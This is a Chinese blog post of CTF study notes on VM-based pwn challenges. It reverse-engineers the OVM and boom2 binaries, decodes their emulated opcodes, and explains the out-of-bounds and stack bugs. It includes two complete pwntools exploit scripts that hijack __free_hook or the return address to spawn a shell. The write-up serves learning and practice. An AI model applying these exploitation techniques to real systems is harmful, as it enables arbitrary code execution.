学习VM PWN

VM PWN学习笔记

Posted by X1ng on December 17, 2020

只会做几个烂大街的堆题目,,比赛堆题签个到走人

这好吗?这不好,,所以赶紧学学VMpwn,记个笔记

前置

VMpwn常见设计

  1. 初始化分配模拟寄存器空间
  2. 初始化分配模拟stack
  3. 初始化分配模拟.data
  4. 初始化分配模拟.text

VMpwn常见执行流程

  1. 输入opcode
  2. 分析opcode,并根据opcode进行各种操作

VMpwn常见解决流程

VMpwn题目一般都是读写越界引发的漏洞,分析清楚指令的含义后进行利用即可

其难点在于逆向分析的过程,所以动手逆两道题就不至于每次都 ida打开->F5->看到密密麻麻的伪代码->关闭 了

例题

buu OGeek2019 Final OVM

例行检查

ida打开

可以看到程序逻辑为先输入pc和sp的偏移并存入reg数组,reg数组应该是用于存放寄存器,然后输入opcode的大小,再输入opcode,观察下面的程序逻辑,应该是四个字节为一个指令,判断如果最高位为0xff时则将整个指令替换为0xE0000000

再进入循环,fetch函数取指放入v7,由参数传递到execute函数内执行

之后可以在comment[0]存放的指针指向的内存处(也就是上面申请的用来保存opcode的chunk中)写0x8c字节

进入execute函数,最劝退的地方

对于

v4 = (a1 & 0xF0000u) >> 16;
v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
v2 = a1 & 0xF;
result = HIBYTE(a1);

result为指令最高字节,作为操作码,v4位次高字节,作为“目标操作数”,v3为次低字节,v2为最低字节,两个作为“源操作数”,其中除了result都只取了每个字节的低四bit,可以看出是四字节定长的指令集

由于寄存器应该是存放在reg数组中的,根据后面的逻辑,v2和v3是源寄存器在reg数组中的偏移,v4是目标寄存器在reg数组中的偏移

之后就是对每个指令进行译码操作了,使劲逆就可以了,其实静下来慢慢看也不难,将两个源操作数表示为r1和r2,目标操作数表示为r3,大致可表示为以下操作

\x70 : r3 = r2 + r1
\xb0 : r3 = r2 ^ r1
\xd0 : r3 = r2 >> r1
\xe0 : stop
       if !sp :
       	exit
\xff : nop
\xf0 : print(reg)
\xc0 : r3 = r2 << r1
\x90 : r3 = r2 & r1
\xa0 : r3 = r2 | r1
\x80 : r3 = r2 - r1
\x30 : r3 = [r1]
\x50 : push r3
\x60 : pop r3
\x40 : [r1] = r3
\x10 : r3 = r1
\x20 : r3 = (r1==0)

理解了程序的总体流程,可以找程序存在的漏洞了

这道题的漏洞点在于\x30\x40对memory的操作并没有对memory的下标进行检测

  1. memory和comment都在.bss节,在程序后面可以对comment[0]处保存指针指向的地址写0x8c字节,覆盖comment[0]处的指针即可任意地址写

  2. memory所在的.bss前面有一个libc地址,可以泄露出libc地址

因为这个libc地址+0x10A8即为free_hook地址

所以构造出0x10A8,再加到得到的libc地址上就可以得到free_hook地址

由于在程序最后会free用于存放opcode的堆地址,所以可以将这个堆地址覆盖为free_hook-0x8的位置,这样可以填充b'/bin/sh\x00'+p64(system)来覆盖free_hook为system并且控制调用free时的参数为”/bin/sh”的地址

exp:

#!/usr/bin/python


from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='pwn'
libc_name='libc-2.23.so'

libc=ELF("./"+libc_name)
if local:
    p=process("./"+binary_name)
else:
    p=remote('',)
    e=ELF("./"+binary_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def code_generate(code, dst, op1, op2):
	res = code<<24
	res += dst<<16
	res += op1<<8
	res += op2
	return str(res)


sla("PC: ",'0')
sla("SP: ",'1')
sla("CODE SIZE: ",'24')
ru("CODE: ")

sl(code_generate(0x10, 0, 0, 0x1a))#reg[0] = 0x1a

sl(code_generate(0x80, 1, 1, 0))#reg[1] = reg[1] - reg[0]

sl(code_generate(0x30, 2, 0, 1))#reg[2] = memory[reg[1]];libc


sl(code_generate(0x10, 0, 0, 0x19))#reg[0] = 0x19

sl(code_generate(0x10, 1, 0, 0))#reg[1] = 0

sl(code_generate(0x80, 1, 1, 0))#reg[1] = reg[1] - reg[0]

sl(code_generate(0x30, 3, 0, 1))#reg[3] = memory[reg[1]];libc


sl(code_generate(0x10, 4, 0, 1))#reg[4] = 1

sl(code_generate(0x10, 5, 0, 0xc))#reg[5] = 0xc

sl(code_generate(0xC0, 4, 4, 5))#reg[4] = reg[4]<<reg[5];0x1000


sl(code_generate(0x10, 5, 0, 0xa))#reg[5] = 0xa

sl(code_generate(0x10, 6, 0, 4))#reg[6] = 9

sl(code_generate(0xC0, 5, 5, 6))#reg[5] = reg[5]<<reg[6];0xa0


sl(code_generate(0x70, 4, 4, 5))#reg[4] = reg[4]+reg[5]

sl(code_generate(0x70, 2, 4, 2))#reg[2] = reg[4]+reg[2];free_hook-0x8


sl(code_generate(0x10, 4, 0, 8))#reg[4] = 8

sl(code_generate(0x10, 5, 0, 0))#reg[5] = 0

sl(code_generate(0x80, 5, 5, 4))#reg[5] = reg[5] - reg[4]

sl(code_generate(0x40, 2, 0, 5))#memory[reg[5]]=reg[2];heap -> free_hook-0x8


sl(code_generate(0x10, 4, 0, 7))#reg[4] = 7

sl(code_generate(0x10, 5, 0, 0))#reg[5] = 0

sl(code_generate(0x80, 5, 5, 4))#reg[5] = reg[5] - reg[4]

sl(code_generate(0x40, 3, 0, 5))#memory[reg[5]]=reg[3];heap -> free_hook-0x8


sl(code_generate(0xE0, 0, 1, 1))#exit



ru("R2: ")
low = int(ru('\n').strip(), 16) + 0x8
ru("R3: ")
high = int(ru('\n').strip(), 16)
free_hook = (high<<32)+low

libc.address = free_hook - libc.sym['__free_hook']
system = libc.sym['system']

ru("HOW DO YOU FEEL AT OVM?\n")
sl(b'/bin/sh\x00'+p64(system))

ia()

网鼎杯2020 boom2

例行检查

ida打开

想起了比赛当时还不知道啥是VMpwn,看到这么多while直接关掉了

好好分析一波

v3 = (signed __int64 *)malloc(0x40000uLL);
buf = (char *)malloc(0x40000uLL);

申请两个超大堆块

后面要输入opcode到buf,所以这里的buf应该是模拟.text,根据后面的程序逻辑可以判断v39应该是判断opcode长度的,而v7则是类似ip寄存器的变量,v8用于存储指令的机器码

而这些神奇的操作

v3+0x8000然后每次赋值后都执行一次--v3,很容易想到一种特殊的结构——栈

猜测这里是对模拟的stack进行初始化,而v3和v36应该是模拟类似sp的指针,v37则是模拟类似bp的指针,并且sp指针是指向栈顶元素而不是栈顶元素的下一位的,类似于ARM中的fd栈

所以上面这段代码大致可以翻译为

_sp += 0x8000
_bp = _sp
push 0x1e
push 0xd
v4 = _sp
push v5-1
push v6+8
push v4
v39 = 0LL

但是在gdb动调的时候发现,malloc申请来模拟栈的内存地址与上面这段指令操作的地址偏移是0x40000而不是0x8000

可以看到这里存放了两个地址,一个指向模拟的栈地址,一个指向真实的栈地址

比如上图中 _sp 和 _bp都在0x7ffff7ff1fe8,而0x7ffff7ff1fe8存放的是0x7ffff7ff2000,类似于调用一个子函数保存一个栈帧时栈上的情况

在巨大的循环里

if ( ++v39 > 30 )
{
	v8 = 30LL;
}
else
{
	v7 = (signed __int64 *)buf;
	buf += 8;
	v8 = *v7;
}

表示最多只能有30个指令,然后通过v7和v8取指

之后就是对指令的逆向了,需要注意的是这里的操作码是int64类型的值,操作数为立即数的时候立即数也是int64类型的值,存放在操作码的下一个int64

这里用imm代表立即数,而v38应该是作为一个寄存器的作用,可以看出模拟的是非定长的指令集

00 : v38 = _bp[imm]
01 : v38 = imm
06 : push _bp
		 _bp = _sp
		 _sp = _bp-imm
08 : leave
		 ret
09 : v38 = *(qword ptr *)v38
10 : v38 = *(byte ptr *)v38
11 : **(qword ptr **)_sp = v38
		 pop v15;
12 : **(byte ptr **)_sp = v38
		 pop v16;
13 : push v38
14 : *_sp = *_sp | v38
		 pop v38
15 : *_sp = *_sp ^ v38
		 pop v38
16 : *_sp = *_sp & v38
		 pop v38
17 : *_sp = *_sp == v38
		 pop v38
18 : *_sp = *_sp != v38
		 pop v38
19 : *_sp = *_sp < v38
		 pop v38
20 : *_sp = *_sp > v38
		 pop v38
21 : *_sp = *_sp <= v38
		 pop v38
22 : *_sp = *_sp >= v38
		 pop v38
23 : *_sp = *_sp << v38
		 pop v38
24 : *_sp = *_sp >> v38
		 pop v38
25 : *_sp = *_sp + v38
		 pop v38
26 : *_sp = *_sp - v38
		 pop v38
27 : *_sp = *_sp * v38
		 pop v38
28 : *_sp = *_sp / v38
		 pop v38
29 : *_sp = *_sp % v38
		 pop v38
30 : exit

这题的漏洞点就在于有真实的栈上的地址保存在模拟的栈上,而且整个操作在main函数中完成,main函数的返回地址在libc上,可以计算好偏移得到返回地址,直接将其改为one_gadget

exp:

#!/usr/bin/python


from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='main'
libc_name='libc-2.23.so'

libc=ELF("./"+libc_name)
if local:
    p=process("./"+binary_name)
else:
    p=remote('',)
    e=ELF("./"+binary_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

one = [0x45226, 0x4527a, 0xf0364, 0xf1207]


off_ret_stack = 0xe8
#返回地址与可以得到的栈地址之间的偏移

off_ret_one = 0x7F2E9FE3A000+0xf1207-0x7f2e9fe5a840
#返回地址上__libc_start_main与one_gadget的偏移

pd = p64(14)#pop v38;


pd += p64(1)+p64(off_ret_stack)#v38 = 0xe8;

pd += p64(26)#*_sp = *_sp - v38;pop v38;

pd += p64(13)#push v38;ret_addr


pd += p64(9)#v38 = *(qword ptr *)v38;

pd += p64(13)#push v38;libc_addr


pd += p64(1)+p64(off_ret_one)#v38 = 0xcfb24;

pd += p64(25)#*_sp = *_sp + v38;pop v38;


pd += p64(11)#**(qword ptr **)_sp = v38;


sla("code>", pd)
ia()


参考链接

https://www.bilibili.com/video/BV1mf4y1Q7Hq

https://blog.csdn.net/weixin_44145820/article/details/106600382

https://blog.csdn.net/Breeze_CAT/article/details/106078982